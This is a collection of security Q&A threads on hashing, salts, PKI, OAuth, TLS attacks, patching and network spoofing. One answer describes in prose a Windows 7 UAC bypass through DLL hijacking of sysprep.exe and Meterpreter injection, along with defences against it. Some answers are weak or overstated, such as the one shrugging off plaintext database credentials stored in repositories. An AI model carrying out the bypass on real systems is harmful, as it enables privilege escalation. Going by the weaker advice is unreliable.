Hashcash, is this really used? I just heard about this term, is it really used? The concept does not seem new, is it used and/or implemented in current technologies?

Yes its used, in a number of mail delivery/filtering sytems.  The most recognized and widely used of which is spamassassin, used by some major ISPs and mail services.  See http://hashcash.org/mail/

You might also want to read the hashcash FAQ: http://hashcash.org/faq/

It is also used in various other protocols and applications including for combating blog spam.  And you may have heard of bitcoin - hashcash is the underlying mechanism used as the work function in bitcoin.


Can a salt maintain pseudo-randomness after being modified? TL;DR: How much can a function (such as the one below) modify an initially random string before that string becomes useless as a salt for password hashing? Is there a general rule?

# Function generates a random string of characters using urandom(), then converts each
# character to its hexadecimal equivalent, and then converts *those* digits back to characters.
# Each hexadecimal character-string is then concatenated into a super-string, excluding the '0x'
# prefixes. The function returns the first 64 characters of the super-string.

def hex_salt():
    raw_salt = os.urandom(500)
    hex_salt = ""
    trimmed_salt = ""

    for i in range(len(raw_salt)):
        dec_num = ord(raw_salt[i])
        hex_substring = str(hex(dec_num))
        hex_salt += hex_substring

    j=0
    while(len(trimmed_salt) < 64):
        if (hex_salt[j]=='0' and hex_salt[j+1]=='x') or (hex_salt[j]=='x'):
            j+=1
            continue

        trimmed_salt+=hex_salt[j]
        j+=1

    return trimmed_salt

The reason I ask is that I'm using python's built in hashlib module to set up a login service for my website. Because hexadecimal characters are easier to deal with, I want to create a random salt (using os.urandom) and derive an equally random salt from it containing only hexadecimal characters. This is my first post on here, so I apologize for whatever sins I've no doubt committed.

Simply changing the representation of the message shouldn't reduce the entropy given the underlying meaning of the data shouldn't be altered. So for example, you could encode it into Base64 or ASCII without issue.

However, to answer this question generally:

  How much can a function (such as the one below) modify an initially
  random string before that string

It's more of a concern how you modify the data rather than how much the data has changed. If you do anything which makes the data more predictable then you'll compromise the security of the random value. For example, you could safely invert the bits of the string, but if you went through any removed any bit sequences that didn't correspond to an ASCII A-Z character then you'd be making it less secure.

In your case, I wouldn't implement my own encoding scheme - I'd just use Base64.


How to prevent Source code excessive usage and redistribution? We sell our code to a company that they can run our code 100 times a month. We need to do a few things before giving the code to the company.

Hide our logic (we can hide our logic by code obfuscation)

excessive usage (no more execution of our code than 100 time)

redistribution (the company we sold the code to can't use it on more than 1 machine or give it to others)

Constraints: we do not have any connection or control over the code after we gave the code to the company so we cannot keep track of anything or block anything. Everything has to be done before giving the code.
Kindly share your thoughts and any suggestions on it.
No license, no MAC address binding solutions needed.
Hint: the person who asked this question gave a hint that both excessive usage and redistribution have one solution.
Edit: We are selling our machine learning code to a company. We only want the code to be run a specific number of times and only on a specific machine. The company that we sold the code to has their firewalls implemented so that we cannot connect or make code to send any information back to us.
My question is how can we restrict excessive usage and redistribution of our code in this case.

We are selling our machine learning code to a company. we only want the code to be ran a specific number of times .and only on specific machine. the company that we sold the code to has their firewalls implemented so we cannot connect or make code to send any information back to us . My question is how can we restrict excessive usage and redistribution of our code in this case.

You can't.
You are giving them (obfuscated) source code. Well, fire it up in a debugger, run it for a hundred times, and figure out what it stops on the 101st time. Remove. Lather, rinse, repeat.
There's two ways to solve this:

Enforce it legally, via contracts and auditing.
Sell it as a service. Run the code on hardware you know, and bill per execution.

With the constraints you have given, there's absolutely no way to enforce it technically.


Learning recommendation for Enterprise PKI design and management? I'd like to learn the top-shelf methods for designing and managing a generic X509 certificate infrastructure. There's some books here and there, but I figured I'd ask if anyone here has any favorites.

Books, web resources, etc?

(or is this not the best exchange to ask?)

Generally speaking, "shopping list" questions are frowned upon on Stack Exchange sites, because they don't map well to the Q&A format; they cannot have a complete, definitive answer, and any list unavoidably deprecates over time.

However, we can still say a few generalities (i.e. answer the meta question, aka: "how would I find good information ?"). PKI is 5% cryptography, 95% procedures. "Procedures" are what humans must do, in order to setup the CA, and in order to run it afterwards, foremost of which being the key ceremony from which the security is bootstrapped (see this answer). Though procedures are paper and humans and audits and more paper, they can only work within the limitation of the tools, i.e. what the PKI software and hardware offers. As such, the right place to begin is the manual for the core PKI software. For instance, if you want to use Microsoft's technologies ("Active Directory Certificate Services"), then start there. If you want to use EJBCA, start there. If you want your PKI to be a couple of handmade scripts around OpenSSL, then... you are not serious.

On a more meta point of view, I'd say that there are two ways to install and run a PKI properly:

Try to do it by yourself, using books and Web resources, and painfully making all the possible mistakes until you have really understood what a PKI is.(*)
Hire someone who applied the first method, and now knows.

In my own case, I find that detailed notions of what happens under the hood help a lot with debugging. So writing your own ASN.1 parser, and certificate validation engine, will grant you enough information to get a clue about what works and what does not in a PKI; you will also thoroughly hate X.509. Start with RFC 5280, which will teach you the jargon and show you what certificates can do and what they cannot. Complete that with the X.509 style guide; it is from year 2000, and thus ought to be obsolete, but is not, which says a lot about X.509.

(*) If you remember that authentication is not authorization, and therefore that trying to manage access rights through certificate revocation does not work, then you will have avoided two years of tears and teeth grinding.


Should I worry about this UAC bypass exploit for Windows 7? It appears that there is an exploit out there that allegedly allows you to bypass the UAC on Windows 7 computers and gain administrator access. I was wondering if this exploit is still a dangerous vulnerability on the average Windows 7 box or if it is already widely patched. I haven't looked too closely at the exploit, so it may not work at all. It seems to be legitamate C programming with win32 from just skimming through it. I've seen different sites that claim this is a valid exploit.

http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

I will provide you the technical details of the exploit you are talking about and then let you decide yourself whether you should worry or not.

The bypassUAC exploit exploits a bug (or rather a feature) of Windows operating systems where processes signed by the Microsoft code signing certificate don't prompt the user when it escalates its privileges to SYSTEM. This is known is privilege elevation in the Microsoft text. The issue was first identified by Leo Davidson back in 2009. If you look at the targets of this exploit, you will find that Windows 7 is vulnerable even though Windows Vista which came before Windows 7 is not vulnerable. The reason for this is because Microsoft deliberately downplayed the security of Windows 7 in order to provider a better user experience. Any Vista user is going to tell you the unlimited number of UAC prompts every time they performed a task. To minimize those prompts, Microsoft decided that all those applications that Microsoft signs with its code signing certificate should be trusted for auto elevation of privileges and so this vulnerability was born.

The way this vulnerability is exploited is that there is an exe file in C:\Windows\System32\sysprep\ directory called sysprep.exe which loads a DLL file CRYPTOBASE.DLL. Since the sysprep.exe don't load this DLL using its full path, you can put a malicious DLL with the name CRYPTOBASE.DLL in C:\Windows\System32\sysprep directory and the sysprep.exe will load the malicious DLL file when executed. This technique is known as DLL hijacking. Suppose the malicious DLL starts notepad.exe which is signed by Microsoft code signing certificate, inject another DLL in it such as metsrv.dll which is the Meterpreter dll file and then request for privilege elevation, the process will silently gets SYSTEM privileges without any UAC prompt because that is how it is designed in the default state on Windows 7. This vulnerability also exist in Windows 8 (although not with the sysprep.exe executable).

Now if you are concerned about this attack vector there are a few steps you can take to make sure bypass UAC don't work. The first thing you can do is not to use Administrator user. This will protect you because injecting a malicious DLL (or any other code) in another process require to have debug privilege on that process. Administrators can have debug privilege to any process that is why bypass UAC require Administrator privileges. Also, there are four UAC protection levels in the graphical console of the UAC in control panel. If you set the protection to Always Notify, no process can silently elevate its privileges. You will always get a UAC prompt just like in Vista and bypass UAC exploit will fail (unless you click Allow).

Now you decide whether you should worry about this vulnerability or not. In most of the cases, if the malicious user has gained code execution with Administrator privileges, its already game over for you. Elevating it so SYSTEM is just a symbolic game nowadays.


Is it okay if passphrases to KDFs are "predictable" I'm looking to do file encryption for small amounts of text (8-100 characters for each item being encrypted). Here's what I have:

A secret passphrase and a salt.
I Use Rijndael to generate a key and iv when encrypting text.
I use the key+iv to encrypt the text.
I store the iv+encrypted text as the cipher.
I HMAC the result.

Now my question is regarding the passphrase. It's a requirement for PCI DSS to rotate the passphrase at least annually. I was wondering if it would be insecure to have the year part of the passphrase. So, if my "core" passphrase is "Orange Ballons", the passphrase I'd use is "Orange Balloons2013", "Orange Balloons2015", etc. based on a year relevant to the business for that data item.

Is this a potential security hole, or is it okay to do this? My inclination is not to do it, but it will make key management a lot simpler in my particular use case.

The first thing that comes to mind is that once someone knows one password, they know all past and future passwords, too.

The idea behind changing them yearly is to counter that problem if someone ends up cracking the passphrase, but it also provides at least a little protection against past employees who may have had access to those passphrases, too.


Does GnuPG allow sub-sub-keys? If subkeys are useful, does GnuPG have sub-sub-keys as well?

The current implementation of GnuPG feels a bit rigid, in that it only allows a two-level key management and subkeys are closely affiliated to their master key, have their own special names (sub and ssb instead of pub and sec), and enjoy not being listed by --list-keys by default.

Given that subkeys are also full-fledged keys, why doesn't GnuPG simply treat subkeys as normal keys and let users themselves decide how they wish to use their keys? They can use the following schemes:

a single key,
a master key + a subkey,
a master key + multiple subkeys,
a master key + multiple subkeys + multiple subsubkeys,
etc.

Quite some flexibility.

The other question asks about how to manage sons. This one asks about whether it should have grandsons.

No, it does not have such a concept, but the concept you describe sounds like a set of primary keys put into relation by certifications, at least as long as you don't add a more specific use case.

The additional flexibility you describe also brings complexity in implementation and usage, but at the same time is not considered relevant for the usual use cases of OpenPGP: one identity is a primary key, and subkeys are used for day-to-day tasks to minimize the primary key's exposure.

Concepts in information security should stay as simple as possible to keep solutions easy to maintain and secure.

For usage that requires more hierarchical key management like one could imagine for corporations where employees have their own keys, but the company should be able to put trust on and revoke them, use the normal OpenPGP features as certifications and designated revokers.


Encrypting the salt with password Salts are stored in the plain text and readily available with the hashed passwords if the password database is compromised. What if we encrypt the salt using password itself? Doesn't it make offline dictionary attack more difficult as the attacker now has to identify the salt to break the password and break the password to identify the salt?

With this scheme, password is hashed with a random salt and random salt is not stored in plain but encrypted with the password.

A common attack is to check hashes against common passwords. In that case your solution would add only one more round of decryption:

choose a common password (for example "password123")
decrypt the salt with the chosen password
hash the chosen password with the decrypted salt

Therefore you're only making attacks slower and introduce more complexity to your solution. I would use a higher cost parameter for your hashing algorithm.


Is a hard-to-brute password necessary in this configuration? All my hardware devices are physically secure. They access the internet via this same or similar Bell Canada home device known as the "Home Hub 2000" via a WiFi network with encryption and a hard-to-guess password. Exactly two people know the hard-to-guess WiFi password and they are trusted and that number is not likely to grow. I also connect to that WiFi network via a wireless network bridge, specifically this one, which I connected via ethernet to a grid which is comprised of this switch to which I connected some Ubuntu computers that have an ethernet interface but no other. I have not enabled the software firewall in the individual computers that comprise the grid.

The Home Hub settings:

UPnP (Universal Plug and Play) is on.
DLNA is on. DLNA is described as being a means of sharing USB drive
data but there are no USB drives connected to the Home Hub device.
DMZ is off.
DDNS (Dynamic DNS) is off.
Port forwarding has zero rules.

I will soon add openssh-server the Ubuntu computers. The purpose is to deploy and run software on the grid. I will use ssh and rsync (in ssh mode) not because I know of a security risk but just because ssh is the "normal" way to get work done. If my user password is short and easy-to-type will it matter much in the context that I have described? Essentially I'm not sure if there are risks I need to be aware of, apart from the WiFi password, WiFi encryption, port forwarding, and physical security, hence this question.

Edit: I've decided to turn off UPnP and DLNA since I don't use them and they might be risks.

Defence-in-Depth is a concept where you employ various layers and levels of security at different points along the path between a potential user and what you want to protect.

In your case, you want to protect the access to your ssh servers. You are right to review and enhance the security of your perimeter and routers, but as you've assessed, there are a lot of moving parts and any one of them can fail. By using strong passwords, even if you never intentionally expose the servers to the Internet, then you have some level of protection even in a complex environment.


On a openSSL server, is it possible to see what kind of ciphers are supported? I need to provide a screenshot to show what kind of ciphers are supported on my openSSL server. Is there a command for this? or is this something i need to find elsewhere?

Is there a command for this?

openssl ciphers 'ALL'

will list all the encrypting ciphers.

openssl ciphers 'ALL:COMPLEMENTOFALL'

will list all ciphers.

If you want to confirm the list, you could use a script to cycle through each cipher and try to connect a tls-client with that cipher. You might also want to cycle over version as well, this is illustrated in this example bash script


What advantage does the Bloomberg authentication system have over traditional 2 factor? Bloomberg clients have an interesting way to authenticate to the server.  This seems involve some of the following:

Logging into a secure website, that displays a flashing square
Swiping your finger against a portable fingerprint reader
Placing the reader against the screen so it can read the flashes
The fingerprint reader displays a code
The code is then entered into the website.

I have never seen this authentication before and there is probably a lot more to what is present than what I observed.

What are the details of this authentication system, and what advantages does this provide over traditional RSA 2 factor authentication?

Are all these steps needed? It seems to hamper usability, and requires a lot more end user training than other systems I've seen.

Edit - Additional information

Promotional information, and an End user manual

Disclaimer: I've never used these terminals before and the only knowledge I have of the system you're describing is the description itself.

How the authentication works

So here's what you're actually doing --

You log in to the website.
You provide biometric data to a fingerprint reader
The website provides some "challenge" value for the fingerprint reader
The fingerprint reader combines the biometric data it received with the challenge data provided by the website, and outputs a result specific to that particular combination of both your fingerprint and the one-time challenge
The website then reads that authentication code and verifies that the registered user is the one in front of the terminal

What is being protected

This technology is reasonably effective, but it doesn't offer the protection you might think it does. It's not there to protect you, it's there to protect Bloomberg.

Interestingly, this technology won't protect you from phishing or from fraud or from MITM attacks. But it protects Bloomberg from piracy.

Bloomberg terminals are notoriously expensive, and typically one terminal would be very useful not just for the person paying for it, but usually the whole office could benefit from access. So there's a certain incentive to "share" your subscription with your immediate coworkers. Bloomberg doesn't want this.

The fingerprint reader exists to ensure that nobody can use your login but you. Two-factor tokens can be shared; fingers can't. But fingerprint readers require hardware access, which a website won't have. So the fingerprint reader is designed to output a code you simply type into the website. You (Bloomberg) don't want to output the same code every time; so you need to mix it up with something.

You could use some independently-varying data like the current time (same as TOTP systems like Google Authenticator do, for example), but you (Bloomberg) want to ensure that the key isn't being generated by someone down the hall. You want to make sure that the paying user is sitting right there in that seat looking at that screen. So you send the fingerprint reader a unique challenge code for it to respond to.

Note that only the user is being authenticated; not the server, and not the connection. So in this scheme, a man-in-the-middle attack works just fine. Ideally the server could be authenticated with TLS, but since the TLS-verification artifacts aren't part of the authentication scheme, the authentication does not depend at all on that verification.

So this mechanism isn't nearly as helpful when your protection is important; it's no better than an OTP-based 2-step auth system, such as you'd get with SMS, RSA SecurID, or Google Authenticator -- but it's way more expensive. If it's your protection that is important, then currently you can't do better than the Yubico U2F key created by Google, but usable on any site that accepts it (including now Github!).


Detected Port Scanning Attack in ESET Smart Security I receive a number of notifications from ESET Smart Security about Port Scanning attack. But I'm behind a router. But as far as I know, computers behind a router is not accessible from others (Please correct me if I'm wrong). Then how can ESET report about such an attack.

But as far as I know, computers behind a router is not accessible from others (Please correct me if I'm wrong).
  Well, you are wrong.

A router (or "Internet gateway") is almost transparent to Internet protocol packets: it only decrements the "TTL" field of packets (Time-to-live, the number of routers, and number of seconds, an IP packet can go through before dying/expiring).

To perform IP filtering, you need a firewall. Firewalls are often configured on routers, but it is a distinct function, that must be configured (mostly) inpendantely.

Almost all "NAPT devices" that is Network Address and Port Translation devices:

perform, as a side effect of "address sharing", some kind of "inbound" "connexion" filtering: "connexion" is the keyword here, it is a subtle concept, being defined according to the device configuration; "inbound" is another concept that is more subtle than many people think;
are often called NAT devices, NAT-routers, or just "routers" (improperly).

A NAPT device look like a router "from the inside" (the LAN ports) and must be configured as the "Internet gateway" on computers connected to the LAN Ethernet ports. But it is wrong to describe a NAPT device as a "router" because:

it does some simple router stuff, plus very complex "connexion"-tracking and address rewriting stuff;
"from the outside" (the WAN port), it looks like an Internet host, not a router.


How dangerous is it to store password in plain text on sites like GitHub? I have a few private repositories set up on GitHub for some of the projects I am working on for my company. These applications connect to databases and I have database authentication credentials stored in a file called config.php (in plain text).

How risky is this, given that my code is on GitHub's servers? I know that from my end, only people I grant access to for the repo will be able to see this information but do I need to worry about other sources of leakage?

I do this as well as I work on a project stored on Github from different locations. However, the moment my code goes into acceptance or production, the password is changed to something random. So for testing/development, I don't really care about my database credentials being in there, as they are only valid on my development machines and no data in there is confidential.


FREAK attack - why doesn't Finished message prevent it? Here is my understanding of FREAK (let me know if I'm right please):

1) Client wants to use modern RSA in ClientHello

2) MITM forwards Export_RSA

3) Server says ok and sends an export RSA key, signed with long-term (modern) RSA key

4) because of a bug, client isn't confused by this behavior, and uses the export_RSA key (not the modern key anymore) to send a pms secret along

5) handshake concludes with encrypted finished messages (WHICH CONTAIN A HASH/SIGNATURE OF CIPHERSUITES)

If the above is correct, why doesn't 5) prevent the FREAK ATTACK? It still takes a very long time to factor an Export Key, so the MITM attacker does not have time to break it udring the handshake?

Is the answer because servers are lazy and only use one Export_RSA key, so we can factor it, then do the MITM attack and forge 5)? If so, then this is basically the Logjam attack (apart from 3), right?

The idea of the FREAK attack is that the attacker has already factored the RSA key -- because the server uses the same RSA key pair ever and ever (generating a new RSA key pair is somewhat expensive so the server won't do that for each connection). Since the attacker, at that point, knows the RSA private key, he can hijack the connection and "fix" the Finished messages.


OAuth + Confused Deputy + access token verification + state parameter Google's "Using OAuth 2.0 for Client-side Application" article at https://developers.google.com/accounts/docs/OAuth2UserAgent states that the client MUST validate all access tokens to verify that it was the intended recipient of the access token, in order to avoid being vulnerable to the confused deputy problem.

I believe proper use of the OAuth "state" parameter can also prevent this vulnerability. "Proper use" being cryptographically and securely binding the state parameter value to the current browser session. This can be done by hashing a combination of the session ID and a nonce (I'm not sure if including the nonce is necessary).

I have two questions:

My primary question is: Can proper use of the OAuth "state" parameter, along with using TLS with server certificate validation, mitigate the confused deputy problem, without validating the audience of the access token, for some definition of "proper use" that mitigates cross site request forgery?

My secondary question is: Is cross site request forgery a type of confused deputy problem? And if "yes", then isn't the answer to my primary question also "yes" necessarily?

This is the problem you are trying to prevent by validating the token:

  As a simplified example, imagine there are two apps: (1) FileStore, a
  legitimate file storage app, and (2) EvilApp. Both apps use Google's
  authentication process for client-side apps. Alice is an innocent end
  user, and her Google user ID is XYZ.

  Alice signs into FileStore using Google.
  After the auth process, FileStore creates an account for Alice and associates it with Google user ID XYZ.
  Alice uploads some files to her FileStore account. So far everything is fine.
  Later, Alice signs into EvilApp, which offers games that look kind of fun.
  As a result, EvilApp gains an access token that is associated with Google user ID XYZ.
  The owner of EvilApp can now construct the redirect URI for FileStore, inserting the access token it was issued for Alice's Google
  account.
  The attacker connects to FileStore, which will take the access token and check with Google to see what user it is for. Google will
  say that it is user XYZ.
  FileStore will give the attacker access to Alice's files because the attacker has an access token for Google user XYZ.

  FileStore's mistake was not verifying with Google that the access
  token it was given was truly issued to FileStore; the token was really
  issued to EvilApp.

  I believe proper use of the OAuth "state" parameter can also prevent
  this vulnerability. "Proper use" being cryptographically and securely
  binding the state parameter value to the current browser session. This
  can be done by hashing a combination of the session ID and a nonce
  (I'm not sure if including the nonce is necessary).

  I have two questions:

  My primary question is: Can proper use of the OAuth "state" parameter,
  along with using TLS with server certificate validation, mitigate the
  confused deputy problem, without validating the audience of the access
  token, for some definition of "proper use" that mitigates cross site
  request forgery?

No, you need to validate audience, not state, as per this article:

  Some people believe that using the state parameter in OAuth protects
  against token substitution. The only binding a browser cookie to state
  protects against is Cross Site Scripting [think they mean CSRF].   In the attack I am
  proposing the client generates a legitimate request to a bad user
  agent that captures it and provides a response that includes state
  unchanged from the request. Their is nothing in the OAuth client-side
  flow that proves the issuer you sent the request to through the
  browser ever received it and is the one responding.  Only the
  access_token parameter is generated by the Authorization server, all
  the other parameters are dropped or echoed back.   The client has no
  way to tell who the authorization server thought it was issuing that
  access_token to.

Imagine that an attacker clicks a button on your app in order to give it access to her Google account in order to validate her identity (i.e. authentication). However, instead of following the redirect she instead grabs the state value and stores it somewhere. She then gets a token from her malicious app, and then replays it to your redirect_uri, substituting in the state that she has captured herself.

Your app will then authenticate the user as the one that gave access to her malicious app. Validating the audience instead is the secure approach because this is checked by Google when you validate the token server-side.

  My secondary question is: Is cross site request forgery a type of confused deputy problem? And if "yes", then isn't the answer to my primary question also "yes" necessarily?

Yes, CSRF is another type of confused deputy problem.

state can be used for this, as this would validate that a malicious party has not enticed a user to their site and redirected them to your endpoint to authorise the attacker's account against your app. For example, if your app copies content from itself and syncs with a Google account, the attacker could redirect the user to your endpoint, you would then check server-side that the token matches, and then start syncing your content to the Google account - as this is the attacker's account, they have now gained access to your user's files. Hence why checking the state is a good mitigation against this.


Passwords processed on server side? So while I was working on my personal project something struk me.

When somebody creates an account on any web service/social media they provide their desired username and password,this is then processed by the server, the username is stored in a BD and the password is hashed and then stored, but that means that the password recieves the password in plain text and then applies a algorythm before storing.

Same thing happens when anybody logs-in right?
Of course this can be sent over SSL/HTTPS but the server is still presented with the plaintext that represents the password, hashes it, and compares it to the stored hashed password.

Why isn't this process done client-side? It would be pretty simple for the client to hash his password within the browser using JS I'm sure there has to be some library dedicated to hashing with popular algorythms such as SHA-256.

Maybe I'm ignoring something really obvious or maybe I'm missunderstanding something, so I'm open to correction.

If you do the hashing on the server side, the server (and an attacker with access to it) could read your cleartext password, correct.

But hashing the password on the client does not really help if someone managed to get access to the server - because the attacker could easily alter the javascript source to get your password in cleartext or start bruteforcing the database.

If the server is trusted, then there is no problem if it processes passwords - and if the server is not trusted, then client side hashing won't add much to security.

Using different passwords for each service would be a better and more secure solution for this problem.


Are there risks associated with a strong password reuse for disk encryption? I understand the risks of password reuse when we share the password with 3rd parties as perfectly discussed under this question: Is password reuse a problem if the password is very strong?

However I wonder if there are risks associated with reusing a strong password for disk encryption like FileVault, BitLocker, or dm-crypt? And reusing the password only for external disks, not anywhere else.

Except for the risk of having multiple disks exposed by a successful brute-force attack on one of them, are there any other dangers?

I see a risk if the same password was used for a system (boot) disk and an external one. In this case a keylogger running as a process under the OS could steal a password typed when an external disk is attached, thus exposing the password for the system disk. However if the same password was reused only for external disks?

The problem is in fact similar to the question you mentionned. You have a password which is reused on several external disks. You encrypted them because you want to avoid data loss following physical theft.

Should for a reason or another your password be recovered (a vulnerability of the crypto one of the disks for instance) then all the disks are vulnerable.


Authentication over SSL using hash and salt I have researched this topic exhaustively and am stuck -- was hoping to get some clarification from helpful folks.

Background: I have Bluetooth transponders attached to locks that are opened by payment in my app. A user pays a fixed fee, the lock opens, they grab their item, and the door closes and locks. I am trying to prevent spoofing attacks where non paying users are able to open these locks.

My current solution theoretically goes as follows: Each transponder is given a random 32 bit salt. Once the app Connects, an authentication request is sent to the transponder.  The transponder then creates a random challenge string + its unique salt. The transponder then hash iterates the string 10,000 times (to protect against brute force) using SHA256.

While this is happening, the original challenge string+salt are also transmitted to the app which then sends it to a secure server via SSL where the shared secret hash key and transponder salt are also located. The string is hash iterated 10,000 times using Sha256 , sent back to the app, and back to the transponder which validates the server hash against its own calculated hash. If equal, the lock opens.

My questions are: is this secure? Am I overlooking some glaring security flaw whether it be brute force or other? Am I just completely wrong? Any help or recommendations would be much appreciated

What you want is called a message authentication code. There are different ways to create one. What you describe is a trivial way to create a Hash-MAC, but has some security flaws.
You might be OK with it, if your challenge string is fixed length and you append the "salt", which is actually the key, at the end. But there is a well defined way to generate a HMAC and I would suggest you to use it, because its security was studied. For most programming languages there are also good libraries to create a HMAC which reduces your work (and the things you could do wrong).


For SSL certs, is some sort of connection to the issuing CA (or other network resource) required for the SSL connection to be established? I was reading an article on creating a certificate authority, and came up with this question when I came to the section entitled "Distribute your certificates and CRL".

Background:

I am deploying an application to a private network, but I still need to use SSL for some of the authentication mechanisms.  I was thinking that an SSL cert from a standard CA would not work since there is no outside access from within the network, and therefore no way to verify the cert in some way (if verification occurs at all).
Service clients would be connecting a variety of ways... browsers, java, .Net, etc...  I'd hate to degrade the utility of SSL by turning off features, but I'll keep that as an option.
If verification does occur, I think I'll need to deploy my own certificate authority (I realize this would involve distributing a root certificate to all the clients, it's not ideal, but it should be acceptable), but I can't seem to find any information on a "verification provider".

When a SSL connection occurs, the client must make sure that it is talking to the right server. This entails validating the server's certificate with regards to a set of known trust anchors (aka "root certificates"), and also verifying the revocation status of the said certificates (the server's certificate, and every needed intermediate CA certificate between a root and the server's certificate). Revocation is the way a CA says "whoops, my bad, ignore that certificate if you see it, even if it has a seemingly correct signature on it". Revocation status is obtained by downloading a CRL from the CA, where CRL are regularly updated signed objects issued by the CA (typically once per day).

(Alternatively, revocation status can be obtained with OCSP, which does not susbtantially change the picture.)

So revocation status check normally implies some sort of connection to the issuing CA (possibly an intermittent connection or an active regular push from the CA). In some setups, you could do without revocation; this is equivalent to stating that the server's private key will never be stolen.

If the server requests a certificate from the client, the mirror scenario occurs as well.


Attacker reinjecting form options? I take form input all over my site, and use query parameters to sanitize data. When an invalid data type is passed, a simple (not detailed) notice is thrown and I receive an email with what was passed.

It appears that in this automated attack, one of the dropdown boxes is reinjected into one of the fields and iterated through. What's the objective of this, and how can I make sure it doesn't work?

Here's some sample errors (edited down):

Invalid data Choose Calendars for CFSQLTYPE CF_SQL_INTEGER.
Invalid data -------------------------------- for CFSQLTYPE CF_SQL_INTEGER.
{20 more with every single option}

Edit: going to try to explain a little better,  bear with me! Here's the HTML:

<select>
<option value="0">Choose Calendars </option>
<option value="0">--------------------------------</option>
<option value="0">Select multiple calendars...</option>
<option value="0">--------------------------------</option>
<option value="0">Select a calendar from this list...</option>
<option value="1">Options 1-30</option>

(Rinse and repeat)
</select>

When a value is selected, it is added to the URL (GET) and submitted - the attack seems to be taking all of the options as an array and putting them into the GET request to try to compromise the SQL. I hope that makes sense?

It seems like this may just be probing for vulnerabilities, error messages, difference/changes in response size and result.

For example by providing all the different values to your backend system may provide the end user with for example:

Maybe looking for information disclosure. A too verbose error message. It may reveal datatypes, names of columns and what not.
Unintended use of the script. For example exploiting logic flaws in your script by say trigging multiple IF statements or something similar.

The attacker may be looking at the result coming back to see if any drastic changes has happened to the webpage or size of the result (in kilobytes).  Often when doing very many requests against one page it is easiest to distinguish changes based on the result size. If any of the GET parameters has triggered something the developer did not think about, the mission may be successfull for the attack.

I am sorry I could not provide a definite explanation on what this attack may be all about, but this is what I think it is.


Is it ever safe to install patches in parallel on a Windows OS? When must I reboot after each patch? It comes to my attention that not all installers are aware of each other (Windows Update, vs some hotfix and service pack installers) and block concurrent execution.

For example, I'm able to run Windows Update Security fixes and Exchange Server Rollup updates at the same time.

Given that example and that it's entirely possible for a poorly written patch to overwrite a runonce registry key (instead of append a multi-value string), I wonder if it's possible for an administrator to unknowingly render a security patch useless due to concurrent patching.

My question is when it known to be safe (or explicitly unsafe) to run patches in parallel, or to not reboot after each patch (running the necessary cleanup actions)?

The phrasing your question is very confusing. "Is it ever safe to install patches in parallel on a Windows OS?". Yes, sometimes it's safe. Is it always safe and is it easy to know those 'sometimes'? No.

In the Windows Registry, there's a sub-key called PendingFileRenameOperations. It handles situations where certain operations are performed on files while being locked and performs them when the files are released, and, more specifically, after a reboot. Windows Update installations (including security fixes independently installed security bulletins) make extensive use of this feature in order to apply those patches/fixes. "What could go wrong?", you ask. Well, let's see this example:

You installed Security Fix #1 which contains (amongst other things) File_A version 0.3 which should replace your locked File_A version 0.1, the operation is added to the Pending File Rename queue (mentioned earlier).
Without a reboot, you installed Security Fix #2 which contains (amongst other things) File_A version 0.2 (vulnerable), because your file is locked, the operation is added to the queue (remember, at this point, before the reboot, you still have version 0.1 of that file).
After you reboot, the queued operations are executed on your file in their respective order. File_A is first replaced with version 0.3 and then replaced with version 0.2 (vulnerable).

Had you rebooted between those two fixes, installer would have been able to check the version of the actual file on disk and prevent version 0.3 from being replaced by version 0.2. Since the file on disk is actually 0.1, the installer had no concerns.

Microsoft has a neat little tool called Qfecheck which goes through the installed security fixes and updates and makes sure that they're properly installed and no such situation has occurred. When used in a big environment in batch, it's very useful for generating automatic reports on the patch status of all computers in a corporation.

But wait, there's more! Microsoft also has another very neat tool called QChain. It makes sure that you always have the latest version of the file in the pending operations queue. Here's how to use it:

Run your updates with the -z switch to prevent reboot.
Run QChain.exe
Reboot.

That's it!


Steps to recommend after people connect Android devices to questionable open WiFi access points What are the appropriate steps to recommend for people to take after they connect their Android device to questionable open WiFi access points?

When I say "people", I mean friends and colleagues.  I am not referring to establishing a corporate security policy.

This seems especially important for Android, since unlike some other operating systems, very few people actually use properly patched systems.  For Android, the users can't really be blamed: manufacturers often do not release patches for their Android devices, and Google does not typically offer patches that can be applied on most devices.

If possible, in your answer, please cover any differences in best practices for non-rooted and rooted devices.

In your answer, please explain why you recommend each step.

Of course, the best advice is to instruct people to not connect to open WiFi access points.  But getting people to abide by that advice is an uphill battle.

UPDATE: For those who thought their Android devices might be somewhat secure, Google just disclosed a slew of Android security issues, including six (6) that they categorized as critical.  Has your Android device received patches for all these security issues?

To properly expand your thesis, you should probably read the rest of the article you posted.  Under "Android and Google Service Mitigations" it explains the current posture of Google to deal with these threats.  While the best solution is naturally to patch the OS at the lowest level the bug exists, it is effective enough to patch the apps in userland that enable the vulnerability, in order to make it nontrivial to exploit.  This is why the apocalypse of "a billion unpatched devices" that many experts have been promising has never come to fruition, and the only users at risk are those that ignore numerous warnings and install unvetted apps from unreliable sources.

So, to answer your question: if you are asked, simply remind the user that they should be wary of strange prompts on their phone when connected to unknown networks (since all exploits in the wild start this way), always keep their apps up to date (follow prompts to do this while on a home network) and if strange behavior does start to happen don't enter any personal information like usernames/passwords until you have a chance to reboot the phone on a trusted network.

Rooting your device, unless it's a model specifically designed to allow it like some Google Nexus variants, is always a bad idea from a security perspective. You are purposefully removing a layer of security, with code that has almost certainly not been vetted by any reliable source, so after this happens ALL bets are off.


IP Spoofing with real IP when TCP 3-way handshake has been made In a situation, where the spoofed IP is a real existing remote IP and it is found that the TCP 3-way handshake has been made with a server.

The MiTM machine sends the packet with spoofed IP to the server. Does the real IP acknowledge the ACK sent back from the server to real IP and receive the response packet from the server followed by the acknowledgement?

EDIT: As the brief above was not clear, here I try to be as descriptive as possible.

Client A with real IP has connected with server S completing the TCP 3-way handshake and transferring data packets like a regular connection. Now, the attacker machine M sends a packet spoofing the IP address of A and once this packet is received by the server, it sends back the ACK flag/field to A. Please correct me if I am wrong with this part of ACK flag/field here.

Now my questions here are:

Will the ACK flag/field from server S be accepted by A?
The packet sent by M with spoofed IP of A gets a response from S to A. Will this response be accepted by A?

First of all, every TCP packet has a sequential identifier, which starts at a random position. (explained briefly in this discussion) So if the attacker is spoofing (non-SYN) packets (trying to hijack an existing connection), then all of those spoofed packets will be ignored or refused (depending on the type of packet) because they will be out of sequence.

So, in order for the attack to be successful, he will have to be eavesdropping on the connection so he can find out what the sequential identifier should be.

